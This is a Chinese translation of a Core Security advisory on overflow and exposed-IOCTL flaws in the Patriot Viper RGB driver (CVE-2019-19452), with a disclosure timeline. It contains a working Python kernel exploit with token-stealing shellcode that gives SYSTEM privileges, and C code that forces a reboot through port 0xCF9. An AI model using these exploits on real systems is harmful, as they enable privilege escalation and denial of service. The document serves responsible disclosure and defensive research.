对 Viper RGB 驱动多个缓冲区溢出漏洞的分析

安全 漏洞
在处理IoControlCode 0x80102040时,在Viper驱动程序RGB 1.1版中发现缓冲区溢出漏洞。

[[348655]]

0x01 漏洞信息

漏洞类型:基于堆栈的缓冲区溢出[ CWE-121 ],暴露的IOCTL(访问控制不足)[ CWE-782 ] 影响:代码执行允许特权提升 远程可利用:否 本地可利用:是 CVE名称:  CVE-2019-19452

0x02 漏洞描述

Patriot Memory是一家总部位于美国的技术公司,设计和制造内存模块,闪存驱动器,移动配件和游戏设备。

在处理IoControlCode 0x80102040时,在Viper驱动程序RGB 1.1版中发现缓冲区溢出漏洞。本地攻击者可以利用此漏洞,因此获得NT AUTHORITY \ SYSTEM特权。

IOCTL代码0x80102050和0x80102054允许具有低特权的用户从IO端口读取或向其写入1/2/4字节。可以通过多种方式来利用它来最终以提升的特权运行代码。

0x03  安全建议

1.1版和所有以前的版本在每个受支持的Windows版本中都容易受到攻击(安装程序:Patriot Viper RGB v1.1.exe)

解决方案和解决方法:

Patriot Memory已发布版本MSIO_191231_v1.2,该版本已修复报告中的漏洞。

这些漏洞是由Core Security Exploit团队的Ricardo Narvaja和Lucas Dominikow发现的。

0x04  漏洞分析和利用验证

基于堆栈的缓冲区溢出特权提升

CVE-2019-19452

对版本1.0的漏洞的利用验证发现了溢出漏洞的存在,该溢出可以覆盖ZwOpenSection和ZwMapViewOfSection的参数。

1.0版和1.1版之间的二进制代码差异表明,尽管对这些函数的参数进行了检查,但先前的溢出漏洞仍存在未进行修补,而CoreLabs在随后研究中能够控制其大小。

可以在下面找到有关版本1.0的信息:

https://github.com/active-labs/Advisories/blob/master/ACTIVE-2019-012.md

https://www.activecyber.us/activelabs/viper-rgb-driver-local-privilege-escalation-cve-2019-18845

在版本1.1中,控制器分析IoControlCodes并到达此位置,将IoControlCode与0x80102040进行比较。

  1. .text:0000000000001518 lea     rcx, aIrpMjDeviceCon ; "IRP_MJ_DEVICE_CONTROL" 
  2. .text:000000000000151F call    DbgPrint 
  3. .text:0000000000001524 mov     r11d, [rbp+18h] 
  4. .text:0000000000001528 cmp     r11d, 80102040h 
  5. .text:000000000000152F jz      loc_16D4 

如果比较结果正确,则会调用由CoreLabs控制的MaxCount(要复制的大小)和SRC(源缓冲区)的memmove,没有进行验证以确保数据适合目标缓冲区,从而导致堆栈溢出。

  1. .text:00000000000016E8 lea     rcx, [rsp+78h+Src] ; Dst 
  2. .text:00000000000016ED mov     r8, rbx         ; MaxCount 
  3. .text:00000000000016F0 mov     rdx, rsi        ; Src 
  4. .text:00000000000016F3 call    memmove 

由于驱动程序尚未使用安全cookie保护函数的堆栈,因此可以成功执行任意代码。

可以通过调用CreateFileA来获取驱动程序的句柄,然后通过发送受控数据来调用DeviceIoControl来实现此功能。下面将使用针对Windows 7 SP1 x64设计PoC,演示针对x64版本驱动程序的代码执行。该代码将需要改编为其他Windows版本。

有效利用漏洞取决于目标设备和体系结构的细节。例如,在Windows 10中,有SMEP / SMAP和其他特定的缓解措施。

下面看到的PoC漏洞利用演示了此过程,该过程重用了连接套接字以生成shell并在系统上执行任意命令。

  1. #!/usr/bin/env python 
  2. import struct, sys, os 
  3. from ctypes import * 
  4. from ctypes.wintypes import * 
  5. import os 
  6. import struct 
  7. import sys 
  8. from ctypes import wintypes 
  9.   
  10.   
  11. GENERIC_READ = 0x80000000 
  12. GENERIC_WRITE = 0x40000000 
  13. GENERIC_EXECUTE = 0x20000000 
  14. GENERIC_ALL = 0x10000000 
  15. FILE_SHARE_DELETE = 0x00000004 
  16. FILE_SHARE_READ = 0x00000001 
  17. FILE_SHARE_WRITE = 0x00000002 
  18. CREATE_NEW = 1 
  19. CREATE_ALWAYS = 2 
  20. OPEN_EXISTING = 3 
  21. OPEN_ALWAYS = 4 
  22. TRUNCATE_EXISTING = 5 
  23. HEAP_ZERO_MEMORY=0x00000008 
  24. MEM_COMMIT = 0x00001000 
  25. MEM_RESERVE = 0x00002000 
  26. PAGE_EXECUTE_READWRITE = 0x00000040 
  27.   
  28. ntdll = windll.ntdll 
  29. kernel32 = windll.kernel32 
  30.   
  31. ntdll.NtAllocateVirtualMemory.argtypes = [c_ulonglong, POINTER(c_ulonglong), c_ulonglong, POINTER(c_ulonglong),c_ulonglong,c_ulonglong] 
  32. kernel32.WriteProcessMemory.argtypes = [c_ulonglong, c_ulonglong, c_char_p,  c_ulonglong, POINTER(c_ulonglong)] 
  33.   
  34. GetProcAddress = kernel32.GetProcAddress 
  35. GetProcAddress.restype = c_ulonglong 
  36. GetProcAddress.argtypes = [c_ulonglong, wintypes.LPCSTR] 
  37.   
  38.   
  39. GetModuleHandleA = kernel32.GetModuleHandleA 
  40. GetModuleHandleA.restype = wintypes.HMODULE 
  41. GetModuleHandleA.argtypes = [wintypes.LPCSTR] 
  42.   
  43. k32Dll=GetModuleHandleA("kernel32.dll"
  44. print "0x%X"%(k32Dll) 
  45.   
  46. if (not k32Dll) : 
  47.     print ("[-] Failed To get module handle kernel32.dll\n"
  48.   
  49. WinExec=GetProcAddress(k32Dll, "WinExec"
  50.   
  51. print "0x%X"%(WinExec) 
  52.   
  53. if (not WinExec) : 
  54.     print ("[-] Failed To get WinExec address.dll\n"
  55.   
  56. print "WinExec = 0x%x"%WinExec 
  57.   
  58. raw_input() 
  59.   
  60.   
  61. buf = kernel32.VirtualAlloc(c_int(0x0),c_int(0x824),c_int(0x3000),c_int(0x40)) 
  62.   
  63. shellcode="\x90\x90\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x42\x70\x4D\x8B\x88\x88\x01\x00\x00\x49\x8B\x09\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x05\x48\x8B\x09\xEB\xF1\x48\\x8b\\x81\\x80\\x00\\x00\\x00\\x24\\xf0\\x49\\x89\\x80\\x08\\x02\\x00\\x00\\x48\\x31\\xc0\\x48\\x81\\xc4\\x28\\x01\\x00\x00\xc3"  
  64.   
  65. #STARTS HERE 
  66. written    = c_ulonglong(0) 
  67. dwReturn      = c_ulong() 
  68. hDevice = kernel32.CreateFileA(r"\\.\Msio",GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING, 0, None ) 
  69.   
  70.   
  71. print "[+] buffer address: 0x%X" % buf 
  72.   
  73. data= "\xeb\x4e" + 0x46  * "A" + struct.pack("<Q",int(buf)) + shellcode 
  74.   
  75. print "%r"%data 
  76.   
  77. kernel32.RtlMoveMemory(c_int(buf),data,c_int(len(data))) 
  78.   
  79. bytes_returned = wintypes.DWORD(0) 
  80. h=wintypes.HANDLE(hDevice) 
  81. b=wintypes.LPVOID(buf) 
  82.               
  83. #TRIGGER 
  84.   
  85. dev_ioctl = kernel32.DeviceIoControl(hDevice, 0x80102040, b, 80, None, 0,byref(dwReturn), None) 
  86.   
  87. os.system("calc.exe"
  88.   
  89. kernel32.CloseHandle(hDevice) 

用python 64位执行该代码后,将显示具有NT AUTHORITY \ SYSTEM特权的calc。

端口映射的I / O访问

尽管当前没有为该漏洞分配CVE,但是如果MITER分配了其他CVE名称,则将使用其他信息更新本文档。

我们可以使用IOCTL代码0x80102050读取IO端口。

要指定我们要读取的IO端口以及要读取的字节大小,必须发送一个精心制作的缓冲区,其中前两个字节是IO端口,第六个是要读取的字节数1、2或4。

此外,可以使用IOCTL代码0x80102054对IO端口进行写入。另外,必须发送一个精心制作的缓冲区。此缓冲区与读取的缓冲区非常相似。主要区别在于我们还需要指定要发送到IO端口的数据。该数据可以为1/2/4字节,并从IO端口(3字节起)旁边开始,在这种情况下,第六个字节将确定要写入的字节数。

通过读取/写入IO端口我们可以实现利用。例如,以下PoC代码将通过重新引导计算机来导致拒绝服。

  1. #include  
  2. #include  
  3.   
  4. #define IOCTL_READ_IOPORT 0x80102050  
  5. #define IOCTL_WRITE_IOPORT 0x80102054 
  6.   
  7.   
  8. HANDLE GetDriverHandle(LPCSTR driverName) 
  9.   
  10.     HANDLE hDriver = CreateFile(driverName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 
  11.   
  12.     if (hDriver == INVALID_HANDLE_VALUE) 
  13.     { 
  14.         printf("Failed GetDriverHandle.\nError code:%d\n", GetLastError()); 
  15.         exit(1); 
  16.     } 
  17.   
  18.   
  19.     return hDriver; 
  20.   
  21.   
  22.   
  23. BYTE ReadPort(HANDLE hDriver, unsigned int port) 
  24.     DWORD inBufferSize = 10; 
  25.     DWORD outBufferSize = 1; 
  26.   
  27.     DWORD bytesReturned = 0; 
  28.   
  29.     LPVOID inBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 
  30.     LPVOID outBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 
  31.   
  32.   
  33.     if (inBuffer == NULL
  34.     { 
  35.         printf("Failed to allocate inBuffer %d\n", GetLastError()); 
  36.         return 1; 
  37.     } 
  38.   
  39.     if (outBuffer == NULL
  40.     { 
  41.         printf("Failed to allocate outBuffer %d\n", GetLastError()); 
  42.         return 1; 
  43.     } 
  44.   
  45.   
  46.     memcpy((char*)inBuffer, &port, 2); 
  47.     memset((char*)inBuffer + 6, 0x1, 1); 
  48.       
  49.   
  50.     BOOL retDevIoControl = DeviceIoControl(hDriver, IOCTL_READ_IOPORT, inBuffer, inBufferSize, outBuffer, outBufferSize, &bytesReturned, 0); 
  51.   
  52.     if (retDevIoControl == 0) 
  53.     { 
  54.         printf("Failed DeviceIoControl\nError code:%d", GetLastError()); 
  55.         return 1; 
  56.     } 
  57.   
  58.     return (BYTE)(*((char*)outBuffer)); 
  59.   
  60. void WritePort(HANDLE hDriver, unsigned int port, BYTE data) 
  61.   
  62.     DWORD inBufferSize = 10; 
  63.     DWORD outBufferSize = 1; 
  64.   
  65.     DWORD bytesReturned = 0; 
  66.   
  67.     LPVOID inBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 
  68.     LPVOID outBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 
  69.   
  70.     if (inBuffer == NULL
  71.     { 
  72.         printf("Failed to allocate inBuffer %d\n", GetLastError()); 
  73.         exit(1); 
  74.     } 
  75.   
  76.     if (outBuffer == NULL
  77.     { 
  78.         printf("Failed to allocate outBuffer %d\n", GetLastError()); 
  79.         exit(1); 
  80.     } 
  81.   
  82.   
  83.   
  84.     memcpy((char*)inBuffer, &port, 2); 
  85.     memcpy((char*)inBuffer + 2, &data, 1); 
  86.     memset((char*)inBuffer + 6, 0x1, 1);  
  87.   
  88.   
  89.   
  90.     BOOL retDevIoControl = DeviceIoControl(hDriver, IOCTL_WRITE_IOPORT, inBuffer, inBufferSize, outBuffer, outBufferSize, &bytesReturned, 0); 
  91.   
  92.     if (retDevIoControl == 0) 
  93.     { 
  94.         printf("Failed DeviceIoControl\nError code:%d", GetLastError()); 
  95.         exit(1); 
  96.     } 
  97.   
  98.   
  99.   
  100. int main(int argc, char** argv) 
  101.     LPCSTR driverName = (LPCSTR)"\\\\.\\Msio"
  102.   
  103.   
  104.     HANDLE hDriver = GetDriverHandle(driverName); 
  105.   
  106.     BYTE portCF9 = ReadPort(hDriver, 0xcf9) & ~0x6; 
  107.       
  108.     WritePort(hDriver, 0xcf9, portCF9 | 2); 
  109.       
  110.     Sleep(50); 
  111.       
  112.     WritePort(hDriver, 0xcf9, portCF9 | 0xe); // Cold Reboot 
  113.       
  114.   
  115.     CloseHandle(hDriver); 
  116.   
  117.   
  118.     return 0; 

0x05 漏洞披露时间表

2019年11月6日– CoreLabs通过support@patriotmem.com向供应商发出了联系电子邮件,  要求披露。

2019年11月26日–通过MITER网站申请CVE,收到申请确认。

2019年11月29日– MITER将CVE-2019-19452分配给第一个漏洞。

2019年12月5日–称为Patriot Memory HQ(510-979-1021),已通过自动电话系统转发给技术支持,还留下了留言信息和电子邮件。

2019年12月5日–收到来自卖方的电子邮件,要求进一步的信息。回复了非常基本的描述,并要求在发送POC之前确认此电子邮件是公司的首选公开方法。

2019年12月17日–收到来自供应商Patriot R&D的电子邮件,其中确认了提交方式并将其命名为主要联系人,回复了PoC。

2020年1月1日–收到来自供应商的电子邮件,其中附有建议的修复程序。

2020年1月8日–确认补丁程序正确。与供应商确认补丁程序有效,并询问他们何时发布补丁程序。

2020年1月9日–供应商声明该补丁最多需要两周才能发布(2020年1月23日)。

2020年1月16日–通过电子邮件发送给供应商,以确认23日的一切按计划进行。说明我们打算在24日发布。

2020年1月16日–发现第二个未通过补丁解决的漏洞。新的POC发送给爱国者。

2020年1月20日–收到来自供应商的电子邮件,指出他认为发现第二个漏洞可能会延迟发布有问题的补丁。

2020年2月7日– Tweet由第三方发布在Twitter上,其中包含有关Viper RGB漏洞的信息。CoreLabs验证了推文中的信息是否正确,数据现在处于公开状态。

2020年2月8日–向MITRE请求第二个漏洞的CVE身份。

2020年2月8日–向Patriot请求第二个漏洞的补丁程序状态,并告知他们该信息现已在Twitter上公开。

2020年2月10日–Patriot回应说,第二个漏洞目前没有补丁。

2020年2月12日–告知Patriot,随着有关漏洞的信息公开,CoreLabs计划在2020年2月17日发布,除非在2020年2月14日之前收到进一步的沟通。

2020年2月17日–已发布咨询CORE-2020-0001。

参考信息:

https://www.viper.patriotmemory.com/viperrgbdramsoftware

https://www.coresecurity.com/contact

本文翻译自:​https://www.coresecurity.com/advisories/viper-rgb-driver-multiple-vulnerabilities?source=twitter&code=CMP-0000001929&ls=100000000&utm_campaign=core-cts-emails&utm_content=117968468&utm_medium=social&utm_source=twitter&hss_channel=tw-17157238如若转载,请注明原文地址。

 

责任编辑:姜华 来源: 嘶吼网
相关推荐

2019-02-27 13:58:29

漏洞缓冲区溢出系统安全

2020-08-10 08:37:32

漏洞安全数据

2017-01-09 17:03:34

2011-11-15 16:00:42

2018-11-01 08:31:05

2022-08-09 08:31:40

C -gets函数漏洞

2015-09-02 09:01:03

2017-08-30 20:49:15

2014-07-30 11:21:46

2018-01-26 14:52:43

2009-09-24 18:16:40

2010-09-29 15:59:04

2010-12-27 10:21:21

2011-02-24 09:21:31

2015-03-06 17:09:10

2010-10-09 14:45:48

2010-09-08 15:43:18

2011-03-23 12:39:44

2021-01-27 18:03:52

漏洞网络安全网络攻击

2011-07-20 10:54:14

C++
点赞
收藏

51CTO技术栈公众号